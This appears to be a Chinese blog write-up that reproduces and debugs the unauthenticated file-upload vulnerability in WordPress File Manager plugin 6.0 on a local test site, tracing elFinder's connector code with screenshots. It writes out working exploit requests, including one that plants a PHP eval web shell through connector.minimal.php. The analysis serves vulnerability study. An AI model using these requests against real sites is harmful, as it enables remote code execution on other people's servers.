![9952ab85946f6838d149dd80b745c265.gif](https://img-blog.csdnimg.cn/img_convert/9952ab85946f6838d149dd80b745c265.gif)
![9da16ed24ebd98adfb217c1e59dca62b.gif](https://img-blog.csdnimg.cn/img_convert/9da16ed24ebd98adfb217c1e59dca62b.gif)
http://wordpress.test/wp-admin/plugin-install.php
将解压一次后的漏洞插件压缩包上传并启用插件。
File Manager插件6.0版本
https://wordpress.org/plugins/wp-file-manager/advanced/ 漏洞利用
![9da16ed24ebd98adfb217c1e59dca62b.gif](https://img-blog.csdnimg.cn/img_convert/9da16ed24ebd98adfb217c1e59dca62b.gif)
这段代码来自 elFinder 项目,这是一个向 Web 应用程序提供文件浏览器 GUI 的框架。这个非常具体的代码仅作为示例,而不能在生产应用程序中直接使用。但是,正如我们所看到的,使用了它,结果是可以执行这部分代码而无需进行身份验证。
在 exp-db 搜索 elFinder
![82331f643b000ec82440c6668986411c.png](https://img-blog.csdnimg.cn/img_convert/82331f643b000ec82440c6668986411c.png)
![ece7ba1f6a070addc71e5dcea413811c.png](https://img-blog.csdnimg.cn/img_convert/ece7ba1f6a070addc71e5dcea413811c.png)
![0a0875cb4b126892991bb0f01b8a446b.png](https://img-blog.csdnimg.cn/img_convert/0a0875cb4b126892991bb0f01b8a446b.png)
![9da16ed24ebd98adfb217c1e59dca62b.gif](https://img-blog.csdnimg.cn/img_convert/9da16ed24ebd98adfb217c1e59dca62b.gif)
发送一个这样的payload来进行创建文件的操作
http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=mkfile&name=test.php&target=l1_Lw
漏洞触发位置
/wp-content/plugins/wp-file-manager/lib/php
/connector.minimal.php
通过创建elFinderConnector对象,进而调用elFinderConnector.run
![7520c407fd7c8a83c66f504bbfc75593.png](https://img-blog.csdnimg.cn/img_convert/7520c407fd7c8a83c66f504bbfc75593.png)
$src
中,
$cmd
获取 cmd 变量。
\elFinderConnector::run
![65083730d32cc6637eec7c3680dd6522.png](https://img-blog.csdnimg.cn/img_convert/65083730d32cc6637eec7c3680dd6522.png)
foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
对
$cmd
进行校验
![a05696b780ac5b4801803c8123545153.png](https://img-blog.csdnimg.cn/img_convert/a05696b780ac5b4801803c8123545153.png)
commandArgsList
\elFinder::commandArgsList
![b696a8666d5fe3587bd79982173390ce.png](https://img-blog.csdnimg.cn/img_convert/b696a8666d5fe3587bd79982173390ce.png)
\elFinder::commandExists
![cc76ad6c50d8488416ae036703241b0d.png](https://img-blog.csdnimg.cn/img_convert/cc76ad6c50d8488416ae036703241b0d.png)
$cmd
,在 $this->commands[$cmd] 中发现了可以调用的方法
\elFinder::$commands
![94dcb7358e9dae6482946d388162c110.png](https://img-blog.csdnimg.cn/img_convert/94dcb7358e9dae6482946d388162c110.png)
$this->output($this->elFinder->exec($cmd, $args));
![f90fd123f542f8fc9a5a2f2b6beb948d.png](https://img-blog.csdnimg.cn/img_convert/f90fd123f542f8fc9a5a2f2b6beb948d.png)
\elFinder::exec
控制
$cmd
= makedile 时, 为满足条件继续向下执行,需要传入
$target
或者
$dst
。
![46c870f497b95d7c9b4cf8e294bae17c.png](https://img-blog.csdnimg.cn/img_convert/46c870f497b95d7c9b4cf8e294bae17c.png)
$this->volume($dst)
根据传入的
$dst
前缀进行选择
l1_
或者
t1_
我们在后面进行调试时会发现生成文件的位置前缀为所对应的 root 的值 ,所以我们在这里选择
l1_
\elFinder::volume
![69e289efe36d0a0ef5965c52c976b988.png](https://img-blog.csdnimg.cn/img_convert/69e289efe36d0a0ef5965c52c976b988.png)
![200d2bc80c844e7f412dc930a608ecde.png](https://img-blog.csdnimg.cn/img_convert/200d2bc80c844e7f412dc930a608ecde.png)
![5e0204e3c9809537d7e3db66a9185487.png](https://img-blog.csdnimg.cn/img_convert/5e0204e3c9809537d7e3db66a9185487.png)
$result = $this->$cmd($args);
调用makefile方法。
\elFinderVolumeDriver::mkfile
![9f09c04fbc72b22ed4a33097aa7d4793.png](https://img-blog.csdnimg.cn/img_convert/9f09c04fbc72b22ed4a33097aa7d4793.png)
$path = $this->decode($dst);
\elFinderVolumeDriver::decode
![7f4d99fb0f4c01bb170514cd5bc16ae0.png](https://img-blog.csdnimg.cn/img_convert/7f4d99fb0f4c01bb170514cd5bc16ae0.png)
$hash
的值根据
$this->id
进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的
$this->root
返回$path =
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files
继续回到 mkfile 函数中执行
![a37ef1b7f0071cb59f9473f6c1107734.png](https://img-blog.csdnimg.cn/img_convert/a37ef1b7f0071cb59f9473f6c1107734.png)
\elFinderVolumeLocalFileSystem::_mkfile
![ff2d3992e3b947bf822350ca89c8cb51.png](https://img-blog.csdnimg.cn/img_convert/ff2d3992e3b947bf822350ca89c8cb51.png)
![66bfc3de763665fc7feabeb5b7817e80.png](https://img-blog.csdnimg.cn/img_convert/66bfc3de763665fc7feabeb5b7817e80.png)
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php
对于网站的位置就是
\wp-content\plugins\wp-file-manager\lib\files\test.php
![b94936b85269cc92c7c6361cb1d7f084.png](https://img-blog.csdnimg.cn/img_convert/b94936b85269cc92c7c6361cb1d7f084.png)
http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=put&target=l1_dGVzdC5waHA=&content=<?php eval($_GET['cmd']);?>
![a85d4f51b1dd2d53ebe03bbb938bc845.png](https://img-blog.csdnimg.cn/img_convert/a85d4f51b1dd2d53ebe03bbb938bc845.png)
$result = $this->$cmd($args);
调用 put 方法
\elFinder::put
![dbbf8368b5db6b75b6ef45ac3a98ffbb.png](https://img-blog.csdnimg.cn/img_convert/dbbf8368b5db6b75b6ef45ac3a98ffbb.png)
\elFinderVolumeDriver::putContents
![8d9518e9726d4acbc371ccff58dd2024.png](https://img-blog.csdnimg.cn/img_convert/8d9518e9726d4acbc371ccff58dd2024.png)
\elFinderVolumeDriver::decode
![f4ed911ee5fac7476a0070994484e08f.png](https://img-blog.csdnimg.cn/img_convert/f4ed911ee5fac7476a0070994484e08f.png)
$hash
的值根据
$this->id
进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的
$this->root
最后会返回 $path 的值为
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php
\elFinderVolumeLocalFileSystem::_filePutContents
![086262c1fbf8e4f8d1d625b167570313.png](https://img-blog.csdnimg.cn/img_convert/086262c1fbf8e4f8d1d625b167570313.png)
成功利用还可以直接利用
upload
方法,上传文件
![bebef52dea6197a473da0152ff5b03da.png](https://img-blog.csdnimg.cn/img_convert/bebef52dea6197a473da0152ff5b03da.png)
\elFinder::upload
![e5630a88c104438dcd34d013696480ed.png](https://img-blog.csdnimg.cn/img_convert/e5630a88c104438dcd34d013696480ed.png)
![9952ab85946f6838d149dd80b745c265.gif](https://img-blog.csdnimg.cn/img_convert/9952ab85946f6838d149dd80b745c265.gif)
![9952ab85946f6838d149dd80b745c265.gif](https://img-blog.csdnimg.cn/img_convert/9952ab85946f6838d149dd80b745c265.gif)
![a08d860ccfef22b3f8628b2f24c853b7.png](https://img-blog.csdnimg.cn/img_convert/a08d860ccfef22b3f8628b2f24c853b7.png)
![9dc2b2dd0701209d4a59a07679a453d9.gif](https://img-blog.csdnimg.cn/img_convert/9dc2b2dd0701209d4a59a07679a453d9.gif)
![65ebd81da446d49d03155ffc6236d6d2.gif](https://img-blog.csdnimg.cn/img_convert/65ebd81da446d49d03155ffc6236d6d2.gif)
![a727f723025dd480b511c2887b39247f.gif](https://img-blog.csdnimg.cn/img_convert/a727f723025dd480b511c2887b39247f.gif)